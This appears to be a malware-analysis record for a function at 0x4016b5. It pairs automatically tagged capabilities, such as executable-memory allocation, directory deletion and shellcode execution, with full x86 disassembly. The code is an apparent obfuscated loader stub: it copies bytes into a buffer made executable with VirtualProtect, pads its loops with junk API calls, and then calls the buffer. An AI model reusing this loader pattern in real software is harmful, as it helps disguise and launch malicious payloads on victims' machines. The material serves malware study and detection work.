Function at 0x4016b5
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d4c
call fcn.0040d540
mov ecx, dword [0x2d5ec2c]
push esi
xor esi, esi
push edi
cmp ecx, 0x93
je 0x401896
mov eax, dword [0x420608]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x2d5ed30], eax
mov dword [0x2d5ec2c], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x14]
mov dword [0x2d5eb84], eax
push ecx
push 0x40
push dword [0x2d5ec2c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x114c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x401713
mov ecx, dword [0x2d5ec2c]
mov edi, esi
test ecx, ecx
je 0x401781
mov eax, dword [0x2d5ed30]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x2d5eb84]
mov byte [eax + edi], cl
mov ecx, dword [0x2d5ec2c]
cmp ecx, 0x490
jne 0x40177c
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x2d5ec2c]
inc edi
cmp edi, ecx
jb 0x401730
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x401814
push str.hiriba
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xd4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoA]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
push esi
lea eax, [ebp - 0x94c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x54c]
push eax
push str.mawedokikaxug
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
lea eax, [ebp - 0x154c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x1d4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0x2d5ec2c]
inc edi
cmp edi, 0x38681
jl 0x401783
push ecx
call fcn.0040164e
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x401839
call fcn.00401699
inc edi
cmp edi, 0x674db
jl 0x401829
mov eax, esi
cmp dword [0x2d5ec2c], 0x86
je 0x40186d
inc eax
cmp eax, 0x7b
jl 0x401844
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d5eb84]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x154c]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push esi
push esi
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.USER32.dll_DrawFrameControl]
push esi
push esi
push esi
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.USER32.dll_GetUserObjectSecurity]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x54c]
push eax
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
lea eax, [ebp - 0x94c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push esi
lea eax, [ebp - 0xd4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x24]
call fcn.00401167
lea ecx, [ebp - 0x24]
call fcn.0040118d
push esi
call fcn.0040355b
pop ecx
push esi
push ecx
and dword [esp], esi
call fcn.00401104
add esp, 8
fstp st(0)
call fcn.004036f2
int3